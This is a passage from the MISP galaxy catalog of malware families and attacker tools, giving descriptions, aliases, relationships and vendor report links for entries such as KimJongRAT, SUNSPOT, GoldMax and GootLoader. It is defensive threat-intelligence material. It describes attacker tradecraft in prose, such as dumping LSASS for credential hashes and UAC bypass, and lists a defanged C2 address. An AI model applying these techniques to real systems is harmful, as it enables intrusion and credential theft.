In addition to increased reports of threat activity, we have also discovered new evidence that the threat actors behind the DNSpionage campaign continue to change their tactics, likely in an attempt to improve the efficacy of their operations. In February, we discovered some changes to the actors' tactics, techniques and procedures (TTPs), including the use of a new reconnaissance phase that selectively chooses which targets to infect with malware. In April 2019, we also discovered the actors using a new malware, which we are calling Karkoff.

The tag is: *misp-galaxy:tool="Karkoff"*

Table 7548. Table References

Links
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html

KimJongRAT

We conclude that this RAT/stealeris efficient and was also really interesting to analyse.Furthermore, the creator made effortsto look Korean, for example the author of the .pdf file is Kim Song Chol. He is the brother of Kim Jong-un, the leader of North Korea. We identified that the author of a variant of this stealer is another brother of Kim Jong-un. Maybe the author named every variant withthe name of each brother. After some searches using Google, we identified anold variant of this malware here: http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html. The code of the malware available on the blog is closeto our case but with fewer features. In 2010, the password of the Gmail account was futurekimkim. Three years ago, the author was already fixatedon the Kim family…The language of the resource stored in the .dll file is Korean (LANG_KOREAN). The owner of the gmail mailbox is laoshi135.zhangand the secret question of this account is in Korean too.We don't know if the malware truly comesfrom Korea.However, thanks to these factors, we decided to name this sample KimJongRAT/Stealer.

The tag is: *misp-galaxy:tool="KimJongRAT"*

Table 7549. Table References

Links
https://malware.lu/assets/files/articles/RAP003_KimJongRAT-Stealer_Analysis.1.0.pdf

Cowboy

Based on our research, it appears the malware author calls the encoded secondary payload "Cowboy" regardless of what malware family is delivered.

The tag is: *misp-galaxy:tool="Cowboy"*

Table 7550. Table References

Links
https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/

JasperLoader

JasperLoader employs a multi-stage infection process that features several obfuscation techniques that make analysis more difficult. It appears that this loader was designed with resiliency and flexibility in mind, as evidenced in later stages of the infection process.

The tag is: *misp-galaxy:tool="JasperLoader"*

Table 7551. Table References

Links
https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html?m=1

Scranos

The malware Scranos infects with rootkit capabilities, burying deep into vulnerable Windows computers to gain persistent access — even after the computer restarts. Scranos only emerged in recent months, according to Bitdefender with new research out Tuesday, but the number of its infections has rocketed in the months since it was first identified in November.

The tag is: *misp-galaxy:tool="Scranos"*

Table 7552. Table References

Links
https://labs.bitdefender.com/2019/04/inside-scranos-a-cross-platform-rootkit-enabled-spyware-operation/
https://techcrunch.com/2019/04/16/scranos-rootkit-passwords-payments/?guccounter=1&guce_referrer_us=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&guce_referrer_cs=MrGSn18TmNoWovpLbekFYA

Reaver

Unit 42 has discovered a new malware family we've named "Reaver" with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.

The tag is: *misp-galaxy:tool="Reaver"*

View relationships graph

Reaver has relationships with:

- similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"

Table 7553. Table References

Links
https://unit42.paloaltonetworks.com/unit42-new-malware-with-ties-to-sunorcal-discovered/
https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html

SURTR

The Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call "Surtr".1 All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.

The tag is: *misp-galaxy:tool="SURTR"*

View relationships graph

SURTR has relationships with:

- similar: misp-galaxy:tool="Reaver" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"

Table 7554. Table References

Links
https://citizenlab.ca/2013/08/surtr-malware-family-targeting-the-tibetan-community/
https://otx.alienvault.com/pulse/588a7c8fe4166d1d84244b9a

SunOrcal

SunOrcal is a trojan malware family whose activity dates back to at least 2013. A version discovered in November 2017 incorporates steganography techniques and can collect C2 information via GitHub, obscuring its C2 infrastructure and evading detection using the legitimate site for its first beacon. The threat actors have targeted users in the Vietnam area, spreading phishing emails containing malicious documents purportedly regarding South China Sea disputes. The new SunOrcal version has also been used with the recently discovered Reaver trojan and the original SunOrcal version. Some of the recent activity also incorporates the use of the Surtr malware.

The tag is: *misp-galaxy:tool="SunOrcal"*

View relationships graph

SunOrcal has relationships with:

- similar: misp-galaxy:tool="Reaver" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"

Table 7555. Table References

Links
https://unit42.paloaltonetworks.com/unit42-sunorcal-adds-github-steganography-repertoire-expands-vietnam-myanmar/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/sunorcal

Bookworm

Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand”. Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.

The tag is: *misp-galaxy:tool="Bookworm"*

Table 7556. Table References

Links
https://unit42.paloaltonetworks.com/attack-campaign-on-the-government-of-thailand-delivers-bookworm-trojan/
https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/

Amavaldo

We named the malware family described in the rest of this blog post Amavaldo. This family is still in active development – the latest version we have observed (10.7) has a compilation timestamp of June 10th, 2019.

The tag is: *misp-galaxy:tool="Amavaldo"*

Table 7557. Table References

Links
https://www.welivesecurity.com/2019/08/01/banking-trojans-amavaldo/

TVSPY

hacker going by the handle Mr. Burns. He also created something similar called RMS, which behaves very much like the TVSPY builder. “RMS/TVSPY continues to be developed, with a new version being posted by the developer/reseller on a regular basis,” Damballa researchers noted. “In fact, the legitimate RMS version developed by TektonIT and the version posted in criminal forums appear to be identical. TVSPY seems to be merely a modification of RMS to utilize TeamViewer infrastructure and a command-and-control interface manageable through the Web.

The tag is: *misp-galaxy:tool="TVSPY"*

TVSPY is also known as:

- TVRAT
- SpY-Agent
- teamspy

Table 7558. Table References

Links
https://mobile.twitter.com/SaudiDFIR/status/1177740045186457600

COMpfun

The COMpfun malware was initially documented by G-DATA in 2014. Although G-DATA didn't identify which actor was using this malware, Kaspersky tentatively linked it to the Turla APT, based on the victimology. Our telemetry indicates that the current campaign using Reductor started at the end of April 2019 and remained active at the time of writing (August 2019). We identified targets in Russia and Belarus.

The tag is: *misp-galaxy:tool="COMpfun"*

Table 7559. Table References

Links
https://securelist.com/compfun-successor-reductor/93633/
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

Reductor

We called these new modules 'Reductor' after a .pdb path left in some samples. Besides typical RAT functions such as uploading, downloading and executing files, Reductor's authors put a lot of effort into manipulating digital certificates and marking outbound TLS traffic with unique host-related identifiers. The Kaspersky Attribution Engine shows strong code similarities between this family and the COMPfun Trojan. Moreover, further research showed that the original COMpfun Trojan most probably is used as a downloader in one of the distribution schemes. Based on these similarities, we're quite sure the new malware was developed by the COMPfun authors.

The tag is: *misp-galaxy:tool="Reductor"*

Table 7560. Table References

Links
https://securelist.com/compfun-successor-reductor/93633/

ProcDump

Legitimate tool - command-line tool used to monitor a running process and dump memory depending on customcriteria. The attackers use this tool to dump the LSASS process to gatherWINDOWScredentials hashes

The tag is: *misp-galaxy:tool="ProcDump"*

CertMig

Legitimate tool - command-line tool used to import and export certificates on a machine. The attackers use this toolto gather credentials used for VPN authentication to the clients’ networks

The tag is: *misp-galaxy:tool="CertMig"*

Netscan

Legitimate tool - tool used to scan IPv4/IPv6 networks and remotely execute PowerShell commands.

The tag is: *misp-galaxy:tool="Netscan"*

ShadowHammer

Malware embedded in Asus Live Update in 2018. ShadowHammer triggers its malicious behavior only if the computer it is running on has a network adapter with the MAC address whitelisted by the attacker.

The tag is: *misp-galaxy:tool="ShadowHammer"*

Table 7561. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf

DePriMon

DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, we consider it to be a framework.

The tag is: *misp-galaxy:tool="DePriMon"*

Table 7562. Table References

Links
https://www.bleepingcomputer.com/news/security/deprimon-malware-registers-itself-as-a-windows-print-monitor/
https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader/

Private Internet Access

Private Internet Access provides state of the art, multi-layered security with advanced privacy protection using VPN tunneling.

The tag is: *misp-galaxy:tool="Private Internet Access"*

Private Internet Access is also known as:

- PIA

Table 7563. Table References

Links
https://www.privateinternetaccess.com/

Netcat

Reads from and writes to network connections using TCP or UDP protocols.

The tag is: *misp-galaxy:tool="Netcat"*

NBTScan

NBTScan is a program for scanning IP networks for NetBIOS name information (similar to what the Windows nbtstat tool provides against single hosts). It sends a NetBIOS status query to each address in a supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.

The tag is: *misp-galaxy:tool="NBTScan"*

Table 7564. Table References

Links
https://sectools.org/tool/nbtscan/

PowerGhost

PowerGhost is capable of stealthily establishing itself in a system and spreading across large corporate networks infecting both workstations and servers. This type of hidden consolidation is typical of miners: the more machines that get infected and the longer they remain that way, the greater the attacker's profits. Therefore, it's not uncommon to see clean software being infected with a miner; the popularity of the legitimate software serves to promote the malware's proliferation. The creators of PowerGhost, however, went further and started using fileless techniques to establish the illegal miner within the victim system.

The tag is: *misp-galaxy:tool="PowerGhost"*

Table 7565. Table References

Links
https://securelist.com/a-mining-multitool/86950/

VBEtaly

Check Point researchers have found another wave of the Ursnif malspam campaign targeting Italy. Only a few details are known so far but what we have found is that the file delivered is a VBE file (encoded VBS) named “SCANSIONE.vbe” and is delivered via ZIP attachments in emails with the subject suggesting different documents in Italian.

The tag is: *misp-galaxy:tool="VBEtaly"*

Table 7566. Table References

Links
https://research.checkpoint.com/vbetaly/

ZeroCleare

ZeroCleare was used to execute a destructive attack that affected organizations in the energy and industrial sectorsin the Middle East. Based on the analysis of the malware and the attackers' behavior, we suspect Iran-based nation state adversaries were involved to develop and deploy this new wiper.

The tag is: *misp-galaxy:tool="ZeroCleare"*

Table 7567. Table References

Links
https://www.ibm.com/downloads/cas/OAJ4VZNJ

Dustman

At the heart of the recent Bapco attack is a new strain of malware named Dustman. According to an analysis by Saudi Arabia's cyber-security agency, Dustman is a so-called data wiper — malware designed to delete data on infected computers, once launched into execution. Dustman represents the third different data-wiping malware linked to the Tehran regime. Iranian state-backed hackers have a long history of developing data-wiping malware.

The tag is: *misp-galaxy:tool="Dustman"*

Table 7568. Table References

Links
https://mobile.twitter.com/IntezerLabs/status/1215252764080644098

Autochk Rootkit

This rootkit is a very simple. The name of the driver is “autochk.sys” - that’s why we’ll call it the autochk rootkit. The rootkit implements 2 functionalities: File Redirection and Network Connection Hiding.

The tag is: *misp-galaxy:tool="Autochk Rootkit"*

Table 7569. Table References

Links
https://repnz.github.io/posts/autochk-rootkit-analysis/

Lampion

New trojan called Lampion has spread using template emails from the Portuguese Government Finance & Tax during the last days of 2019.

The tag is: *misp-galaxy:tool="Lampion"*

Table 7570. Table References

Links
https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/

LiquorBot

Bitdefender researchers tracked the development of a Mirai-inspired botnet, dubbed LiquorBot, which seems to be actively in development and has recently incorporated Monero cryptocurrency mining features.

The tag is: *misp-galaxy:tool="LiquorBot"*

Table 7571. Table References

Links
https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/

Gelup malware tool

Written in C++ and designed to function as a downloader of other malware, Gelup stood out for its obfuscation techniques. Gelup can also bypass User Account Control (UAC) by mocking trusted directories, abusing auto-elevated executables and using the Dynamic Link Library (DLL) side-loading technique.

The tag is: *misp-galaxy:tool="Gelup malware tool"*

Gelup malware tool is also known as:

- AndroMut

Table 7572. Table References

Links
https://securityintelligence.com/news/ta505-delivers-new-gelup-malware-tool-flowerpippi-backdoor-via-spam-campaign/

DenesRAT

DenesRAT is a private Trojan horse of the "Sea Lotus" organization, which can perform corresponding functions according to the instructions issued by the C2 server. The main functions are file operations, such as creating files or directories, deleting files or directories, finding files; registry reading and writing; remote code execution, such as creating processes, executing DLLs, etc....

The tag is: *misp-galaxy:tool="DenesRAT"*

DenesRAT is also known as:

- METALJACK

Table 7573. Table References

Links
http://baijiahao.baidu.com/s?id=1661498030941117519
https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html

Sedkit

Sednit's Exploit-Kit

The tag is: *misp-galaxy:tool="Sedkit"*

Sedkit is also known as:

Table 7574. Table References

Links
https://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/
https://www.welivesecurity.com/2016/10/20/new-eset-research-paper-puts-sednit-under-the-microscope/

Covenant

Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.

The tag is: *misp-galaxy:tool="Covenant"*

Covenant is also known as:

Table 7575. Table References

Links
https://github.com/cobbr/Covenant/

Cobalt Strike

Cobalt Strike is a post-exploitation framework.

The tag is: *misp-galaxy:tool="Cobalt Strike"*

Cobalt Strike is also known as:

Table 7576. Table References

Links
https://www.cobaltstrike.com

metasploit

Penetration testing framework.

The tag is: *misp-galaxy:tool="metasploit"*

metasploit is also known as:

Table 7577. Table References

Links
https://www.metasploit.com

CrackMapExec

A swiss army knife for pentesting networks.

The tag is: *misp-galaxy:tool="CrackMapExec"*

CrackMapExec is also known as:

Table 7578. Table References

Links
https://github.com/byt3bl33d3r/CrackMapExec
https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf

WellMess

Wellmess is a Remote Access Trojan written in Golang and also have a .NET version

The tag is: *misp-galaxy:tool="WellMess"*

WellMess is also known as:

Table 7579. Table References

Links
https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf
https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html
https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf

WellMail

WellMail is a lightweight tool designed to run commands or scripts with the results being sent to a hardcoded Command and Control (C2) server.

The tag is: *misp-galaxy:tool="WellMail"*

WellMail is also known as:

Table 7580. Table References

Links
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf

Drovorub

Drovorub is a Linux malware toolset consisting of an implant coupled with a kernel module rootkit, a file transfer and port forwarding tool, and a Command and Control (C2) server.

The tag is: *misp-galaxy:tool="Drovorub"*

Drovorub is also known as:

Table 7581. Table References

Links
https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF

IsErIk

The adware DealPly (sometimes also referred to as IsErIk) and malicious Chrome extension ManageX, for instance, can come bundled under the guise of a legitimate installer and other potentially unwanted applications (PUAs). Because various write-ups cover Dealply or IsErik separately, the technical discussion and representation of both are discussed separately.

The tag is: *misp-galaxy:tool="IsErIk"*

IsErIk is also known as:

- DealPly
- ManageX

Table 7582. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/exposing-modular-adware-how-dealply-iserik-and-managex-persist-in-systems/

Vatet

Attackers often shift infrastructure, techniques, and tools to avoid notoriety that might attract law enforcement or security researchers. They often retain them while waiting for security organizations to start considering associated artifacts inactive, so they face less scrutiny. Vatet, a custom loader for the Cobalt Strike framework that has been seen in ransomware campaigns as early as November 2018, is one of the tools that has resurfaced in the recent campaigns.

The tag is: *misp-galaxy:tool="Vatet"*

Table 7583. Table References

Links
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.tripwire.com/state-of-security/featured/ransomware-characteristics-attack-chains-recent-campaigns/

ConfuserEx

ConfuserEx is a common .NET packer/protector used to obfuscate .NET assemblies and confuse the decompilation process. According to the official site: ConfuserEx is an free, open-source protector for .NET applications. It is the successor of Confuser project. ConfuserEx supports .NET Framework from 2.0 - 4.5 and Mono (and other .NET platforms if enough request!). It supports most of the protections you'll find in commerical protectors, and some more!

The tag is: *misp-galaxy:tool="ConfuserEx"*

Table 7584. Table References

Links
https://yck1509.github.io/ConfuserEx/
https://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html

Beds Protector

Beds Protector is a common .NET packer/protector. It is a mod of ConfuserEx, which is another common .NET packer/protector. It is commonly used to obfuscate .NET assemblies and confuse the decompilation process. The latest available version is Beds Protector v1.4.1

The tag is: *misp-galaxy:tool="Beds Protector"*

Table 7585. Table References

Links
https://github.com/BedTheGod/ConfuserEx-Mod-By-Bed

HyperBro

HyperBro Trojan was used as last-stage in-memory remote administration tool (RAT).

The tag is: *misp-galaxy:tool="HyperBro"*

Table 7586. Table References

Links
https://securelist.com/luckymouse-hits-national-data-center/86083/

SUNSPOT

SUNSPOT is StellarParticle's malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product.

The tag is: *misp-galaxy:tool="SUNSPOT"*

View relationships graph

SUNSPOT has relationships with:

- dropped: misp-galaxy:backdoor="SUNBURST" with estimative-language:likelihood-

probability="likely"

Table 7587. Table References

Links
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/

Caterpillar WebShell

The tag is: *misp-galaxy:tool="Caterpillar WebShell"*

Table 7588. Table References

Links
https://www.clearskysec.com/cedar/

P.A.S. webshell

The P.A.S. webshell was developed by an ukrainian student, Jaroslav Volodimirovich Panchenko, who used the nick-name Profexer. It was developed in PHP and features a characteristic password-based encryption. This tool was available through a form on his website, where a user had to provide a password to receive a custom webshell. The form suggested a donation to the developer. It was commonly used, including during a WORDPRESS website attack.

The tag is: *misp-galaxy:tool="P.A.S. webshell"*

P.A.S. webshell is also known as:

- Fobushell

Table 7589. Table References

Links
https://us-cert.cisa.gov/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf

Exaramel

Exaramel is a backdoor first publicly reported by ESET in 2018. Two samples were identified, one targeting the WINDOWS operating system and the other targeting LINUX operating systems.

The tag is: *misp-galaxy:tool="Exaramel"*

Table 7590. Table References

Links
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf

RDAT

RDAT is a backdoor used by the suspected Iranian threat group OilRig. RDAT was originally identified in 2017 and targeted companies in the telecommunications sector.

The tag is: *misp-galaxy:tool="RDAT"*

Table 7591. Table References

Links
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/

TEARDROP

Loader used in hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders.

The tag is: *misp-galaxy:tool="TEARDROP"*

View relationships graph

TEARDROP has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Raindrop" with estimative-language:likelihood-probability="likely"

Table 7592. Table References

Links
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

GoldMax

Written in Go, GoldMax acts as command-and-control backdoor for the actor. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running. GoldMax establishes a secure session key with its C2 and uses that key to securely communicate with the C2, preventing non-GoldMax-initiated connections from receiving and identifying malicious traffic. The C2 can send commands to be launched for various operations, including native OS commands, via psuedo-randomly generated cookies. The hardcoded cookies are unique to each implant, appearing to be random strings but mapping to victims and operations on the actor side.

The tag is: *misp-galaxy:tool="GoldMax"*

View relationships graph

GoldMax has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 7593. Table References

Links
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Raindrop

Loader used in hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders.

The tag is: *misp-galaxy:tool="Raindrop"*

View relationships graph

Raindrop has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="TEARDROP" with estimative-language:likelihood-probability="likely"

Table 7594. Table References

Links
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

GoldFinder

Tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g., hxxps://185[.]225[.]69[.]69/) and logs the HTTP response to a plaintext log file (e.g., loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file:

The tag is: *misp-galaxy:tool="GoldFinder"*

View relationships graph

GoldFinder has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 7595. Table References

Links
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Sibot

Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk. The VBScript is then run via a scheduled task.

The tag is: *misp-galaxy:tool="Sibot"*

View relationships graph

Sibot has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 7596. Table References

Links
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Matanbuchus

Matanbuchus is a loader promoted by BelialDemon. It can launch an EXE or DLL file in memory, leverage schtasks.exe to add or modify task schedules, and launch custom PowerShell commands, among other capabilities. Attackers use a Microsoft Excel document as the initial vector to drop the Matanbuchus Loader DLL.

The tag is: *misp-galaxy:tool="Matanbuchus"*

Table 7597. Table References

Links
https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/

BLUELIGHT

It is likely that BLUELIGHT is used as a secondary payload following successful delivery of Cobalt Strike.

The tag is: *misp-galaxy:tool="BLUELIGHT"*

Table 7598. Table References

Links
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/

ESPecter bootkit

ESET researchers have analyzed a previously undocumented, real-world UEFI bootkit that persists on the EFI System Partition (ESP). The bootkit, which we've named ESPecter, can bypass Windows Driver Signature Enforcement to load its own unsigned driver, which facilitates its espionage activities. Alongside Kaspersky's recent discovery of the unrelated FinSpy bootkit, it is now safe to say that real-world UEFI threats are no longer limited to SPI flash implants, as used by Lojax.

The tag is: *misp-galaxy:tool="ESPecter bootkit"*

Table 7599. Table References

Links
https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/
https://github.com/eset/malware-ioc/tree/master/especter

Shark

Shark is a 32-bit executable written in C# and .NET. To run Shark, a parameter is passed on the command line that includes the executable's filename. Shark generates a mutex that uses the executable's filename as the mutex value. The mutex likely ensures Shark does not execute on a machine where it is already running and that the correct version of Shark is executed.

The tag is: *misp-galaxy:tool="Shark"*

Table 7600. Table References

Links
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/

Motnug

Motnug is a simple shellcode loader that is used to load and execute shellcode located either in its overlay or in a separate file stored on disk.

The tag is: *misp-galaxy:tool="Motnug"*

Table 7601. Table References

Links
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/
https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/

BadPotato

BadPotato leaks a system token handle through the MS RPN API, which can be used to get NT AUTHORITY\SYSTEM access.

The tag is: *misp-galaxy:tool="BadPotato"*

Table 7602. Table References

Links
https://github.com/BeichenDream/BadPotato
https://www.mandiant.com/resources/apt41-us-state-governments
https://thehackernews.com/2021/06/chinese-hackers-believed-to-be-behind.html
https://blog.group-ib.com/colunmtk_apt41

Microcin

A simple RAT used by Vicious Panda

The tag is: *misp-galaxy:tool="Microcin"*

Microcin is also known as:

- Mikroceen

Table 7603. Table References

Links
https://securelist.com/microcin-is-here/97353
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign

Esile

The Esile campaign was named after certain strings found in the unpacked malware file that it sends out. All of the malware related to this campaign are detected as BKDR_ESILE variants.

The tag is: *misp-galaxy:tool="Esile"*

Esile is also known as:

- BKDR_ESILE

View relationships graph

Esile has relationships with:

- used-by: misp-galaxy:threat-actor="LOTUS PANDA" with estimative-language:likelihood-probability="likely"

Table 7604. Table References

Links
https://www.trendmicro.com/vinfo/de/security/news/cyber-attacks/esile-targeted-attack-campaign-hits-apac-governments
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/esile

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant’s Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of “Shathak” or “TA551”.

The tag is: *misp-galaxy:tool="MOUSEISLAND"*

Table 7605. Table References

Links
https://www.mandiant.com/resources/blog/melting-unc2198-icedid-to-ransomware-operations

GootLoader

GootLoader is a malware loader historically associated with the GootKit malware. As its developers updated its capabilities, GootLoader has evolved from a loader downloading a malicious payload into a multi-payload malware platform. As a loader malware, GootLoader is usually the first-stage of a system compromise. By leveraging search engine poisoning, GootLoader’s developers may compromise or create websites that rank highly in search engine results, such as Google search results. How is it delivered? Via Malicious files available for download on compromised websites that rank high as search engine results

The tag is: *misp-galaxy:tool="GootLoader"*

Table 7606. Table References

Links
https://www.cyber.nj.gov/alerts-advisories/gootloader-malware-platform-uses-sophisticated-techniques-to-deliver-malware
https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader

BumbleBee

BumbleBee is a modular backdoor that comprises two applications, a server and a client application (a master and slaver application, respectively in the malware’s jargon). Once the client application is deployed on the target computer (these are commonly local government devices), threat actors can control the machine using the server module. Let us take a deeper look into this backdoor.

The tag is: *misp-galaxy:tool="BumbleBee"*

View relationships graph

BumbleBee has relationships with:

- related-to: misp-galaxy:exploit-kit="Hunter" with estimative-language:likelihood-probability="likely"

Table 7607. Table References

Links
https://www.trendmicro.com/en_us/research/22/i/buzzing-in-the-background-bumblebee-a-new-modular-backdoor-evolv.html

Chisel

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Benign in itself, but used by threat actors.

The tag is: *misp-galaxy:tool="Chisel"*

Table 7608. Table References

Links
https://github.com/jpillora/chisel